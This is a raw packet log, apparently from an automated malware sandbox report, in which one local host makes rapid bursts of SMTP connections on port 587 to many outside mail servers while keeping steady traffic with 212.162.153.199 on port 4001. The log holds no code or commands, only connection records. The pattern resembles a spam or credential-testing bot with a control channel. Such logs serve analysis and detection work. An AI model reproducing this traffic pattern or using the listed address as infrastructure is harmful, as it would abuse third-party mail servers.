May 19, 2024 17:27:56.344429970 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.344686985 CEST	50001	587	192.168.2.4	83.102.40.117
May 19, 2024 17:27:56.344753027 CEST	50022	587	192.168.2.4	195.238.20.30
May 19, 2024 17:27:56.344831944 CEST	49870	587	192.168.2.4	35.214.83.212
May 19, 2024 17:27:56.344974995 CEST	50073	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:56.344974995 CEST	49998	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:56.345045090 CEST	50007	587	192.168.2.4	164.90.197.79
May 19, 2024 17:27:56.354456902 CEST	587	50000	213.172.96.34	192.168.2.4
May 19, 2024 17:27:56.354511023 CEST	587	49935	213.209.1.145	192.168.2.4
May 19, 2024 17:27:56.354542017 CEST	587	50001	83.102.40.117	192.168.2.4
May 19, 2024 17:27:56.354572058 CEST	587	50022	195.238.20.30	192.168.2.4
May 19, 2024 17:27:56.354602098 CEST	587	49870	35.214.83.212	192.168.2.4
May 19, 2024 17:27:56.354630947 CEST	587	50073	41.193.157.227	192.168.2.4
May 19, 2024 17:27:56.354660034 CEST	587	49998	182.248.170.226	192.168.2.4
May 19, 2024 17:27:56.354687929 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.354718924 CEST	587	50086	41.193.157.227	192.168.2.4
May 19, 2024 17:27:56.354947090 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.360171080 CEST	587	50007	164.90.197.79	192.168.2.4
May 19, 2024 17:27:56.360627890 CEST	50099	587	192.168.2.4	90.216.128.5
May 19, 2024 17:27:56.365675926 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.365708113 CEST	587	50089	41.193.157.227	192.168.2.4
May 19, 2024 17:27:56.369724989 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.375150919 CEST	587	50099	90.216.128.5	192.168.2.4
May 19, 2024 17:27:56.375245094 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:56.375289917 CEST	50099	587	192.168.2.4	90.216.128.5
May 19, 2024 17:27:56.375340939 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.375413895 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.380239010 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.386430025 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.391345024 CEST	587	50059	84.2.43.67	192.168.2.4
May 19, 2024 17:27:56.391575098 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.396287918 CEST	50086	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:56.397130966 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.404284954 CEST	587	50094	62.149.128.200	192.168.2.4
May 19, 2024 17:27:56.404419899 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.409961939 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.411799908 CEST	50089	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:56.425096989 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:56.425419092 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.427520037 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:56.430835009 CEST	587	49961	41.193.157.227	192.168.2.4
May 19, 2024 17:27:56.431051016 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.431133032 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.431153059 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.435607910 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.435648918 CEST	587	49955	41.193.157.227	192.168.2.4
May 19, 2024 17:27:56.435681105 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:56.435887098 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.435887098 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.441230059 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.443025112 CEST	50059	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:56.446903944 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.451836109 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.451885939 CEST	587	49974	194.181.93.175	192.168.2.4
May 19, 2024 17:27:56.451989889 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.452070951 CEST	49871	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:56.452076912 CEST	49959	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:56.452368975 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:56.452440977 CEST	50011	587	192.168.2.4	164.90.203.106
May 19, 2024 17:27:56.458620071 CEST	50094	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:56.471205950 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:56.471570969 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.474284887 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:56.474294901 CEST	49961	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:56.476573944 CEST	587	49871	65.20.63.172	192.168.2.4
May 19, 2024 17:27:56.481671095 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:27:56.481702089 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:56.481731892 CEST	587	50011	164.90.203.106	192.168.2.4
May 19, 2024 17:27:56.489883900 CEST	49955	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:56.490461111 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:56.495126963 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.495203018 CEST	587	49985	194.153.145.104	192.168.2.4
May 19, 2024 17:27:56.495266914 CEST	49985	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:56.495296955 CEST	49985	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:56.495523930 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.495524883 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.495524883 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.501075029 CEST	587	50074	103.13.28.93	192.168.2.4
May 19, 2024 17:27:56.501287937 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.505647898 CEST	49974	587	192.168.2.4	194.181.93.175
May 19, 2024 17:27:56.506685019 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.506685972 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.510898113 CEST	587	49985	194.153.145.104	192.168.2.4
May 19, 2024 17:27:56.510987043 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.511018991 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.511168003 CEST	49848	587	192.168.2.4	101.0.69.102
May 19, 2024 17:27:56.511730909 CEST	49883	587	192.168.2.4	103.152.248.23
May 19, 2024 17:27:56.511857986 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:56.511900902 CEST	50080	587	192.168.2.4	212.85.98.214
May 19, 2024 17:27:56.511925936 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:56.512249947 CEST	50100	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:56.516052961 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.520925045 CEST	587	49948	182.248.170.226	192.168.2.4
May 19, 2024 17:27:56.521276951 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:56.521707058 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.526479006 CEST	587	49848	101.0.69.102	192.168.2.4
May 19, 2024 17:27:56.526521921 CEST	587	49883	103.152.248.23	192.168.2.4
May 19, 2024 17:27:56.526552916 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:56.526582956 CEST	587	50080	212.85.98.214	192.168.2.4
May 19, 2024 17:27:56.526612997 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:27:56.526648045 CEST	587	50100	193.201.172.98	192.168.2.4
May 19, 2024 17:27:56.526696920 CEST	587	49870	35.214.83.212	192.168.2.4
May 19, 2024 17:27:56.526722908 CEST	50100	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:56.526808023 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.526885986 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.532011986 CEST	50101	587	192.168.2.4	184.106.54.2
May 19, 2024 17:27:56.537163019 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.542244911 CEST	587	50101	184.106.54.2	192.168.2.4
May 19, 2024 17:27:56.542331934 CEST	50101	587	192.168.2.4	184.106.54.2
May 19, 2024 17:27:56.542411089 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.548230886 CEST	587	50022	195.238.20.30	192.168.2.4
May 19, 2024 17:27:56.548432112 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.552345037 CEST	50074	587	192.168.2.4	103.13.28.93
May 19, 2024 17:27:56.566139936 CEST	587	49935	213.209.1.145	192.168.2.4
May 19, 2024 17:27:56.566293955 CEST	587	50007	164.90.197.79	192.168.2.4
May 19, 2024 17:27:56.566364050 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.566442966 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.566442966 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.568097115 CEST	49870	587	192.168.2.4	35.214.83.212
May 19, 2024 17:27:56.568098068 CEST	49948	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:56.571355104 CEST	587	50007	164.90.197.79	192.168.2.4
May 19, 2024 17:27:56.571576118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.571583033 CEST	50007	587	192.168.2.4	164.90.197.79
May 19, 2024 17:27:56.576227903 CEST	587	50000	213.172.96.34	192.168.2.4
May 19, 2024 17:27:56.576280117 CEST	587	50000	213.172.96.34	192.168.2.4
May 19, 2024 17:27:56.576332092 CEST	50000	587	192.168.2.4	213.172.96.34
May 19, 2024 17:27:56.576466084 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.576466084 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.576466084 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.576466084 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.581020117 CEST	587	50000	213.172.96.34	192.168.2.4
May 19, 2024 17:27:56.581078053 CEST	587	50001	83.102.40.117	192.168.2.4
May 19, 2024 17:27:56.581226110 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.581227064 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.581227064 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.592417002 CEST	587	50001	83.102.40.117	192.168.2.4
May 19, 2024 17:27:56.592468977 CEST	587	50001	83.102.40.117	192.168.2.4
May 19, 2024 17:27:56.592489004 CEST	50001	587	192.168.2.4	83.102.40.117
May 19, 2024 17:27:56.592503071 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.592645884 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.592645884 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.592647076 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.599838018 CEST	50022	587	192.168.2.4	195.238.20.30
May 19, 2024 17:27:56.600817919 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.600862026 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.600893974 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:27:56.600923061 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.600953102 CEST	587	49871	65.20.63.172	192.168.2.4
May 19, 2024 17:27:56.600981951 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.601088047 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.601088047 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.614869118 CEST	49935	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:56.626065969 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.626110077 CEST	587	49987	77.78.119.119	192.168.2.4
May 19, 2024 17:27:56.626141071 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.626171112 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:56.626202106 CEST	49987	587	192.168.2.4	77.78.119.119
May 19, 2024 17:27:56.626240015 CEST	587	49994	65.20.63.172	192.168.2.4
May 19, 2024 17:27:56.626370907 CEST	49987	587	192.168.2.4	77.78.119.119
May 19, 2024 17:27:56.626545906 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.626547098 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.626547098 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.626629114 CEST	50002	587	192.168.2.4	103.82.242.210
May 19, 2024 17:27:56.626794100 CEST	50102	587	192.168.2.4	46.30.213.46
May 19, 2024 17:27:56.626981020 CEST	587	49998	182.248.170.226	192.168.2.4
May 19, 2024 17:27:56.627033949 CEST	587	49998	182.248.170.226	192.168.2.4
May 19, 2024 17:27:56.627213955 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.627214909 CEST	50103	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:56.627213955 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.627213955 CEST	49998	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:56.627213955 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.627494097 CEST	50104	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:56.630589962 CEST	50000	587	192.168.2.4	213.172.96.34
May 19, 2024 17:27:56.631608009 CEST	587	49998	182.248.170.226	192.168.2.4
May 19, 2024 17:27:56.631659031 CEST	587	49998	182.248.170.226	192.168.2.4
May 19, 2024 17:27:56.631830931 CEST	49998	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:56.631831884 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.631831884 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.631831884 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.636451006 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.636498928 CEST	587	49987	77.78.119.119	192.168.2.4
May 19, 2024 17:27:56.636529922 CEST	587	50002	103.82.242.210	192.168.2.4
May 19, 2024 17:27:56.636564016 CEST	587	50102	46.30.213.46	192.168.2.4
May 19, 2024 17:27:56.636594057 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.636624098 CEST	587	50103	194.153.145.104	192.168.2.4
May 19, 2024 17:27:56.636634111 CEST	50102	587	192.168.2.4	46.30.213.46
May 19, 2024 17:27:56.636655092 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.636694908 CEST	50103	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:56.636857033 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.636857033 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.641388893 CEST	587	50104	193.201.172.98	192.168.2.4
May 19, 2024 17:27:56.641433001 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.641463995 CEST	50104	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:56.641638994 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.646136045 CEST	50001	587	192.168.2.4	83.102.40.117
May 19, 2024 17:27:56.646142006 CEST	49959	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:56.646245003 CEST	49871	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:56.647677898 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.661045074 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:56.661278009 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.666471004 CEST	587	50000	213.172.96.34	192.168.2.4
May 19, 2024 17:27:56.666593075 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.671936989 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.677362919 CEST	49994	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:56.678112030 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:56.683058977 CEST	587	50011	164.90.203.106	192.168.2.4
May 19, 2024 17:27:56.683314085 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.688463926 CEST	587	50073	41.193.157.227	192.168.2.4
May 19, 2024 17:27:56.688615084 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.693646908 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.702269077 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.702451944 CEST	49934	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:56.702514887 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:56.702687979 CEST	49901	587	192.168.2.4	103.224.30.254
May 19, 2024 17:27:56.708736897 CEST	50000	587	192.168.2.4	213.172.96.34
May 19, 2024 17:27:56.708786011 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:56.709057093 CEST	587	49934	65.20.63.172	192.168.2.4
May 19, 2024 17:27:56.716223955 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:56.724436998 CEST	50011	587	192.168.2.4	164.90.203.106
May 19, 2024 17:27:56.732213020 CEST	587	49901	103.224.30.254	192.168.2.4
May 19, 2024 17:27:56.739851952 CEST	50073	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:56.745059967 CEST	587	50080	212.85.98.214	192.168.2.4
May 19, 2024 17:27:56.745143890 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:56.745639086 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.745640039 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.745794058 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.745794058 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.786771059 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:56.786784887 CEST	50080	587	192.168.2.4	212.85.98.214
May 19, 2024 17:27:56.794451952 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.845396996 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.845441103 CEST	587	49934	65.20.63.172	192.168.2.4
May 19, 2024 17:27:56.845474005 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:56.845504045 CEST	587	50097	64.91.253.60	192.168.2.4
May 19, 2024 17:27:56.845535994 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.845541000 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.845624924 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.845624924 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.846786022 CEST	50105	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:56.847078085 CEST	50106	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:56.847326994 CEST	50107	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:56.855921030 CEST	587	50105	194.158.122.55	192.168.2.4
May 19, 2024 17:27:56.855999947 CEST	50105	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:56.856049061 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.860933065 CEST	587	50106	104.22.65.144	192.168.2.4
May 19, 2024 17:27:56.860968113 CEST	587	50107	194.153.145.104	192.168.2.4
May 19, 2024 17:27:56.860997915 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.861010075 CEST	50106	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:56.861032009 CEST	50107	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:56.861084938 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.861085892 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.890885115 CEST	587	50085	142.93.237.125	192.168.2.4
May 19, 2024 17:27:56.890949965 CEST	50085	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:56.890993118 CEST	50085	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:56.891030073 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.896158934 CEST	50097	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:56.896166086 CEST	49934	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:56.896168947 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:56.896544933 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.902673006 CEST	587	50085	142.93.237.125	192.168.2.4
May 19, 2024 17:27:56.908333063 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.964371920 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.964638948 CEST	49986	587	192.168.2.4	209.67.129.100
May 19, 2024 17:27:56.965059996 CEST	49963	587	192.168.2.4	83.223.113.41
May 19, 2024 17:27:56.965090036 CEST	50026	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:56.965686083 CEST	50108	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:56.966137886 CEST	50109	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:56.969721079 CEST	587	49986	209.67.129.100	192.168.2.4
May 19, 2024 17:27:56.974807024 CEST	587	49963	83.223.113.41	192.168.2.4
May 19, 2024 17:27:57.002690077 CEST	587	50026	129.159.94.43	192.168.2.4
May 19, 2024 17:27:57.002736092 CEST	587	50108	104.22.65.144	192.168.2.4
May 19, 2024 17:27:57.002816916 CEST	587	50109	194.153.145.104	192.168.2.4
May 19, 2024 17:27:57.003041983 CEST	50109	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:57.003050089 CEST	50108	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:57.003205061 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.003205061 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.003611088 CEST	50110	587	192.168.2.4	13.248.169.48
May 19, 2024 17:27:57.005074978 CEST	587	50002	103.82.242.210	192.168.2.4
May 19, 2024 17:27:57.005306005 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.005306005 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.009953022 CEST	587	50002	103.82.242.210	192.168.2.4
May 19, 2024 17:27:57.010011911 CEST	587	50002	103.82.242.210	192.168.2.4
May 19, 2024 17:27:57.010153055 CEST	50002	587	192.168.2.4	103.82.242.210
May 19, 2024 17:27:57.010312080 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.014684916 CEST	587	50002	103.82.242.210	192.168.2.4
May 19, 2024 17:27:57.014733076 CEST	587	50002	103.82.242.210	192.168.2.4
May 19, 2024 17:27:57.014755964 CEST	50002	587	192.168.2.4	103.82.242.210
May 19, 2024 17:27:57.014923096 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.014923096 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.014923096 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.020252943 CEST	587	50110	13.248.169.48	192.168.2.4
May 19, 2024 17:27:57.020303965 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.020334005 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.020338058 CEST	50110	587	192.168.2.4	13.248.169.48
May 19, 2024 17:27:57.020622015 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.028177977 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.028225899 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.028240919 CEST	587	49903	194.19.134.66	192.168.2.4
May 19, 2024 17:27:57.028547049 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.033811092 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.068048954 CEST	50002	587	192.168.2.4	103.82.242.210
May 19, 2024 17:27:57.077414036 CEST	587	50026	129.159.94.43	192.168.2.4
May 19, 2024 17:27:57.077693939 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.077693939 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.079159975 CEST	587	50026	129.159.94.43	192.168.2.4
May 19, 2024 17:27:57.079226017 CEST	50026	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:57.079372883 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.079372883 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.083265066 CEST	587	50026	129.159.94.43	192.168.2.4
May 19, 2024 17:27:57.083281040 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.083369970 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.084280014 CEST	49903	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:57.088062048 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.088079929 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.088093042 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.092793941 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.130518913 CEST	50026	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:57.136447906 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.136475086 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.136841059 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:57.136987925 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:57.141974926 CEST	587	49986	209.67.129.100	192.168.2.4
May 19, 2024 17:27:57.142200947 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.146878004 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:57.151849985 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:57.193234921 CEST	49986	587	192.168.2.4	209.67.129.100
May 19, 2024 17:27:57.198424101 CEST	587	49963	83.223.113.41	192.168.2.4
May 19, 2024 17:27:57.198450089 CEST	587	50026	129.159.94.43	192.168.2.4
May 19, 2024 17:27:57.198463917 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.198577881 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.198577881 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.203526020 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.208481073 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.240092039 CEST	50026	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:57.240154982 CEST	49963	587	192.168.2.4	83.223.113.41
May 19, 2024 17:27:57.245158911 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.245331049 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:27:57.245398998 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:27:57.245403051 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:27:57.245765924 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:57.245870113 CEST	49989	587	192.168.2.4	40.99.157.50
May 19, 2024 17:27:57.246180058 CEST	50082	587	192.168.2.4	52.62.236.135
May 19, 2024 17:27:57.246243000 CEST	50015	587	192.168.2.4	193.54.32.8
May 19, 2024 17:27:57.246421099 CEST	50111	587	192.168.2.4	3.125.131.179
May 19, 2024 17:27:57.246675968 CEST	50112	587	192.168.2.4	52.223.34.187
